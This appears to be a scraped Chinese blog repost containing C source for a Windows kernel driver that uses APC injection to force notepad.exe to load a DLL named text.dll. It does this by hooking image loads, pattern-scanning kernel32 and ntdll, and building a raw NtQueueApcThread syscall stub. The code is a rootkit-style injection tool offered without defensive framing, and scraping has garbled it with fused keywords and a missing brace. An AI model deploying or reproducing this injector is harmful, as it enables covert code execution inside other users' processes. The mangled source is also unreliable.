APC注入

来源:互联网 发布:mysql 连接远程数据库 编辑:程序博客网 时间:2024/04/30 02:18
/***********************************
desc : This code was written for inject a dll named text.dll to the target process based on APC.
time : 2013
coder: ejoywx
***********************************/
#include <ntddk.h>
#include <ntimage.h>
 
#ifndef SEC_IMAGE
#define SEC_IMAGE   0x1000000     // winnt
#endif
 
externPUSHORT NtBuildNumber;
 
PVOIDpfn_XxxDispatchAPC  = NULL;
PVOIDpfn_LoadLibraryA    = NULL;
PVOIDpszText_Kernel32    = NULL;
 
ULONGOffset_szText = 0;
ULONGOffset_LoadLibraryA = 0;
ULONGOffset_BaseDispatchAPC = 0;
ULONGOffset_RtlDispatchAPC = 0;
 
UNICODE_STRING gModuleName[] =
{
    RTL_CONSTANT_STRING(L"\\systemroot\\system32\\ntdll.dll"),
    RTL_CONSTANT_STRING(L"\\systemroot\\system32\\kernel32.dll"),
    RTL_CONSTANT_STRING(L"\\WINDOWS\\system32\\kernel32.dll"),
    RTL_CONSTANT_STRING(L"\\systemroot\\system\\text.dll"),
    RTL_CONSTANT_STRING(L"\\Device\\HarddiskVolume1\\WINDOWS\\system32\\notepad.exe")
};                               
 
PIMAGE_NT_HEADERS
NTAPI
RtlImageNtHeader(
    PVOIDBase
    );
 
NTSYSAPI
PVOID
NTAPI
RtlImageDirectoryEntryToData(
    PVOIDBaseOfImage,
    BOOLEANMappedAsImage,
    USHORTDirectoryEntry,
    PULONGSize
    );
 
NTSTATUS (NTAPI* pfn_NtQueueApcThread)(
    __inHANDLE    ThreadHandle,
    __inPVOID     ApcRoutine,
    __in_optPVOID ApcArgument1,
    __in_optPVOID ApcArgument2,
    __in_optPVOID ApcArgument3
    );
 
PVOIDNTAPI 
TlLoadSysPEtoMem(
    IN PUNICODE_STRING FilePath
    )
{
    OBJECT_ATTRIBUTES   ObjectAttributes = {0};
    IO_STATUS_BLOCK     IoStatusBlock    = {0};
    HANDLE             FileHandle       = NULL;
    HANDLE             SectionHandle    = NULL;
    PVOID              ViewBase         = NULL;
    PVOID              MemBase          = NULL;
    SIZE_T             ViewSize         = 0;
    NTSTATUS            Status           = STATUS_INVALID_PARAMETER;
 
    InitializeObjectAttributes( &ObjectAttributes,
                                FilePath,
                                OBJ_KERNEL_HANDLE|OBJ_CASE_INSENSITIVE,
                                NULL,
                                NULL );
 
    Status = ZwOpenFile (  &FileHandle,
                            FILE_GENERIC_READ,
                            &ObjectAttributes,
                            &IoStatusBlock,
                            FILE_SHARE_READ|FILE_SHARE_WRITE,
                            FILE_NON_DIRECTORY_FILE );
    if( NT_SUCCESS( Status ) )
    {
        InitializeObjectAttributes( &ObjectAttributes,
                                    NULL,
                                    OBJ_KERNEL_HANDLE,
                                    NULL,
                                    NULL );
        Status = ZwCreateSection(   &SectionHandle,
                                    SECTION_MAP_READ,
                                    &ObjectAttributes,
                                    (PLARGE_INTEGER)NULL,
                                    PAGE_READONLY,
                                    SEC_IMAGE,
                                    FileHandle);
        if( NT_SUCCESS( Status ) )
        {
            Status = ZwMapViewOfSection(SectionHandle,
                                        ZwCurrentProcess(),
                                        &ViewBase,
                                        0L,
                                        PAGE_SIZE,
                                        NULL,
                                        &ViewSize,
                                        ViewUnmap,
                                        MEM_TOP_DOWN,
                                        PAGE_READWRITE);
                                         
            if( NT_SUCCESS( Status ) )
            {
                MemBase = ExAllocatePoolWithTag( NonPagedPool, ViewSize, ' dmC');
                if( MemBase )
                {
                    RtlMoveMemory( MemBase, ViewBase, ViewSize );
                }
                 
                ZwUnmapViewOfSection( ZwCurrentProcess(), ViewBase );
            }
 
            ZwClose( SectionHandle );
        }
         
        ZwClose( FileHandle );
    }
 
    returnMemBase;
}
 
PVOIDNTAPI 
TlMapKnownDlltoMem(
    IN PUNICODE_STRING FilePath
    )
{
    OBJECT_ATTRIBUTES   ObjectAttributes = {0};
    HANDLE             SectionHandle    = NULL;
    PVOID              ViewBase         = NULL;
    PVOID              MemBase          = NULL;
    SIZE_T             ViewSize         = 0;
    NTSTATUS            Status           = STATUS_INVALID_PARAMETER;
 
    InitializeObjectAttributes( &ObjectAttributes,
                                FilePath,
                                OBJ_KERNEL_HANDLE|OBJ_CASE_INSENSITIVE,
                                NULL,
                                NULL );
    Status = ZwOpenSection( &SectionHandle,
                    SECTION_MAP_READ,
                    &ObjectAttributes
                    );
    if( NT_SUCCESS( Status ) )
    {
        Status = ZwMapViewOfSection(SectionHandle,
                            ZwCurrentProcess(),
                            &ViewBase,
                            0L,
                            PAGE_SIZE,
                            NULL,
                            &ViewSize,
                            ViewUnmap,
                            MEM_TOP_DOWN,
                            PAGE_READWRITE );
         
        if( NT_SUCCESS( Status ) )
        {
            MemBase = ExAllocatePoolWithTag( NonPagedPool, ViewSize, ' dmC');
            if( MemBase )
            {
                RtlMoveMemory( MemBase, ViewBase, ViewSize );
            }
             
            ZwUnmapViewOfSection( ZwCurrentProcess(), ViewBase );
        }
 
        ZwClose( SectionHandle );
    }
 
    returnMemBase;
}
 
PVOIDNTAPI 
TlGetProcAddress(
    INPVOIDImageBase,
    INPUCHARApiName
    )
{
    PIMAGE_EXPORT_DIRECTORY ExpDir  = NULL;
    PULONG         AddressOfNames  = NULL;
    PULONG     AddressOfFunctions  = NULL;
    PUSHORT AddressOfNameOrdinals  = NULL;
    PVOID             FuncAddress  = NULL;
    ULONG              ExpDirSize  = 0;
    ULONG           NumberOfNames  = 0; 
 
    LONG                   Idx     = 0;
    LONG                   ret     = 0;
    LONG                   low     = 0;
    LONG                   mid     = 0;
    LONG                   high    = 0;
    PCHAR                  pName   = NULL;
     
    if( !ImageBase )returnNULL;
     
    ExpDir = (PIMAGE_EXPORT_DIRECTORY)RtlImageDirectoryEntryToData(ImageBase,TRUE,IMAGE_DIRECTORY_ENTRY_EXPORT,&ExpDirSize );
    if( ExpDir  )
    {
        AddressOfNames          = (PULONG)( (ULONG)ImageBase + ExpDir->AddressOfNames );
        AddressOfFunctions      = (PULONG)( (ULONG)ImageBase + ExpDir->AddressOfFunctions );
        AddressOfNameOrdinals   = (PUSHORT)( (ULONG)ImageBase + ExpDir->AddressOfNameOrdinals );
        NumberOfNames           = ExpDir->NumberOfNames;
         
        if( (ULONG)ApiName & 0xFFFF0000 )
        {
            high = NumberOfNames-1;
            while(low <= high)//二分查找,快速定位
            {
                mid   = (high+low)>>1;
                pName = (PCHAR)ImageBase+AddressOfNames[mid] ;
 
                Idx = 0;
                while( pName[Idx] && pName[Idx] == ApiName[Idx] )
                {
                    ++Idx;
                }
 
                ret = pName[Idx] - ApiName[Idx];
                if( ret==0 )
                {
                    (PUCHAR)FuncAddress=(PUCHAR)ImageBase + AddressOfFunctions[ AddressOfNameOrdinals[ mid ] ];
 
                    break;
                }
                elseif( ret > 0 )
                {
                    high=mid-1;
                }
                else
                {
                    low=mid+1;
                }
            }
        }
        else
        {
            (PUCHAR)FuncAddress=(PUCHAR)ImageBase + AddressOfFunctions[ (ULONG)ApiName & 0x0FFFF ];
        }       
    }   
 
    returnFuncAddress;
}
 
ULONGNTAPI //just for winxp/win2003
GetOffsetForXxxDispatchApc(
    INPVOIDpfn_QueueUserApc,
    INPVOIDImageBase
    )
{
    ULONG  Offset = 0;
    PUCHAR pMem   = (PUCHAR)pfn_QueueUserApc;
    PUCHAR pLim   = (PUCHAR)pfn_QueueUserApc + 0x100;
     
    while( pMem < pLim && *(PULONG)pMem != 0x90000CC2 ) pMem++;
     
    if( *(PULONG)pMem == 0x90000CC2 )
    {
        pLim   = (PUCHAR)pfn_QueueUserApc;
        while( (--pMem) > pLim )
        {
            if( *(PUSHORT)pMem == 0x75FF && *(PUSHORT)(pMem+3) == 0x15FF  && *(pMem-5) == 0x68 )
            {
                Offset  = *(PULONG)(pMem-4) - (ULONG)ImageBase;               
                break;
            }
        }
    }
     
    returnOffset;
}
 
ULONGNTAPI
GetOffsetForSpecialText(
    INPVOIDImageBase,
    INPCSTRszText
    )
{
    ULONG  Offset = 0;
    PUCHAR pMem   = (PUCHAR)ImageBase;
    PUCHAR pLim   = (PUCHAR)ImageBase + 0x400;
     
    while( pMem < pLim )
    {
        if( _stricmp( szText, pMem) == 0 )
        {
            Offset = (ULONG)(pMem-(PUCHAR)ImageBase);
            break;
        }
         
        pMem++;
    }   
     
    returnOffset;
}
 
PVOIDNTAPI
TlBuildNtFunc(
    INULONGServiceId
    )
{
    PVOID  NtFunc = NULL;
    PVOID  pfn_KiSystemService;
    PVOID  pfn_ZwQueryKey;       
    UNICODE_STRING RoutineName;
         
    RtlInitUnicodeString( &RoutineName, L"ZwQueryKey");       
    pfn_ZwQueryKey = MmGetSystemRoutineAddress( &RoutineName );
     
    if( pfn_ZwQueryKey )
    {
        NtFunc = ExAllocatePoolWithTag( NonPagedPool, 32, ' dmC');        
        if( NtFunc )
        {
            (PUCHAR)pfn_KiSystemService = (PUCHAR)pfn_ZwQueryKey + 12 + 5 + *(PULONG)((PUCHAR)pfn_ZwQueryKey + 12 + 1);
             
            RtlFillMemory( NtFunc, 32, 0xCC );       
            RtlMoveMemory( NtFunc, pfn_ZwQueryKey, 20 );
 
            *(PULONG)((PUCHAR)NtFunc + 12 + 1 ) = (ULONG)((PUCHAR)pfn_KiSystemService - ((PUCHAR)NtFunc + 12 + 5));
            *(PULONG)((PUCHAR)NtFunc + 1 ) = ServiceId;
        }    
    }
     
    returnNtFunc;
}
 
BOOLEANNTAPI
TlCheckFileExist(
    IN PUNICODE_STRING FileName
)
{
    OBJECT_ATTRIBUTES   ObjectAttributes = {0};
    IO_STATUS_BLOCK     IoStatusBlock    = {0};
    HANDLE             FileHandle       = NULL;
    NTSTATUS            Status           = STATUS_INVALID_PARAMETER;
 
    InitializeObjectAttributes( &ObjectAttributes,
                                FileName,
                                OBJ_KERNEL_HANDLE|OBJ_CASE_INSENSITIVE,
                                NULL,
                                NULL );
 
    Status = ZwOpenFile (  &FileHandle,
                            FILE_GENERIC_READ,
                            &ObjectAttributes,
                            &IoStatusBlock,
                            FILE_SHARE_READ|FILE_SHARE_WRITE,
                            FILE_NON_DIRECTORY_FILE );
                     
    if( NT_SUCCESS( Status ) )
    {     
        ZwClose( FileHandle );
    }
     
    returnNT_SUCCESS( Status );
}
 
VOID
LoadImageNotifyRoutine(
    IN PUNICODE_STRING  FullImageName,
    INHANDLE          ProcessId,
    IN PIMAGE_INFO      ImageInfo
    )
{      
    if( !pfn_XxxDispatchAPC || !pfn_LoadLibraryA || !pszText_Kernel32 )
    {       
        if( !pfn_LoadLibraryA || !pszText_Kernel32 )
        {
            if( RtlCompareUnicodeString( FullImageName, &gModuleName[2], TRUE ) == 0 )
            {
                (PUCHAR)pfn_LoadLibraryA  = (PUCHAR)ImageInfo->ImageBase + Offset_LoadLibraryA;
                (PUCHAR)pszText_Kernel32  = (PUCHAR)ImageInfo->ImageBase + Offset_szText;
                 
                if( Offset_BaseDispatchAPC )
                {
                    (PUCHAR)pfn_XxxDispatchAPC= (PUCHAR)ImageInfo->ImageBase + Offset_BaseDispatchAPC;
                }
            }
        }
         
        if( Offset_RtlDispatchAPC && !pfn_XxxDispatchAPC )
        {
            if( RtlCompareUnicodeString( FullImageName, &gModuleName[0], TRUE ) == 0 )
            {
                (PUCHAR)pfn_XxxDispatchAPC= (PUCHAR)ImageInfo->ImageBase + Offset_RtlDispatchAPC;
            }
        }
    }
    elseif( pfn_NtQueueApcThread )
    {
        if( RtlCompareUnicodeString( FullImageName, &gModuleName[4], TRUE ) == 0 )
        {
            pfn_NtQueueApcThread(
                    ZwCurrentThread(),
                    pfn_XxxDispatchAPC,
                    pfn_LoadLibraryA,
                    pszText_Kernel32,
                    NULL );
        }
    }
}
 
VOIDDriverUnload(IN PDRIVER_OBJECT DriverObject)
{
    PsRemoveLoadImageNotifyRoutine( LoadImageNotifyRoutine );
     
    ExFreePool( pfn_NtQueueApcThread );
}
 
NTSTATUS DriverEntry(IN PDRIVER_OBJECT DriverObject,IN PUNICODE_STRING RegistryPath)
{   
    NTSTATUS Status = 0; 
    ULONGServiceId = -1;    
    PVOIDImageBase_Ntdll ;
    PVOIDImageBase_Kernel;   
    PVOIDpfn;
     
    ImageBase_Ntdll = TlLoadSysPEtoMem( &gModuleName[0] );
    if( ImageBase_Ntdll )
    {
        pfn = TlGetProcAddress( ImageBase_Ntdll, "NtQueueApcThread");
        if( pfn )
        {
            ServiceId = *(PULONG)((PUCHAR)pfn + 1 );
        }
         
        if( *NtBuildNumber == 7601 )
        {
            pfn = TlGetProcAddress( ImageBase_Ntdll, (PUCHAR)7 );
            if( pfn )
            {
                Offset_RtlDispatchAPC = (ULONG)pfn - (ULONG)ImageBase_Ntdll;
            
        }     
         
        ExFreePool( ImageBase_Ntdll );
    }
     
    ImageBase_Kernel = TlLoadSysPEtoMem( &gModuleName[1] );
    if( ImageBase_Kernel )
    {
        PIMAGE_NT_HEADERS NtHdrs = RtlImageNtHeader( ImageBase_Kernel );
         
        if( *NtBuildNumber == 2600 )
        {
            pfn = TlGetProcAddress( ImageBase_Kernel, "QueueUserAPC");
            if( pfn )
            {
                Offset_BaseDispatchAPC = GetOffsetForXxxDispatchApc( pfn, (PVOID)NtHdrs->OptionalHeader.ImageBase);
            }
        }
         
        pfn = TlGetProcAddress( ImageBase_Kernel, "LoadLibraryA");
        if( pfn )
        {
            Offset_LoadLibraryA = (ULONG)pfn - (ULONG)ImageBase_Kernel;
        }       
         
        Offset_szText = GetOffsetForSpecialText( (PUCHAR)ImageBase_Kernel,"text");
          
        ExFreePool( ImageBase_Kernel );
    }
     
    Status = STATUS_NOT_SUPPORTED;
    if( Offset_LoadLibraryA && Offset_szText && (Offset_BaseDispatchAPC || Offset_RtlDispatchAPC) && ServiceId != -1 )
    {
        Status = STATUS_NO_SUCH_FILE;
        //确保文件"systemroot\system\text.dll"存在
        if( TlCheckFileExist( &gModuleName[3] ) )
        {
            pfn_NtQueueApcThread = TlBuildNtFunc( ServiceId ); 
        }     
    }
     
    if( pfn_NtQueueApcThread )
    {
        Status = PsSetLoadImageNotifyRoutine( LoadImageNotifyRoutine );;
    }
     
    if( !NT_SUCCESS(Status) && pfn_NtQueueApcThread )
    {
        ExFreePool( pfn_NtQueueApcThread );
    }
     
    DriverObject->DriverUnload = DriverUnload;
    returnStatus;
}
0 0
原创粉丝点击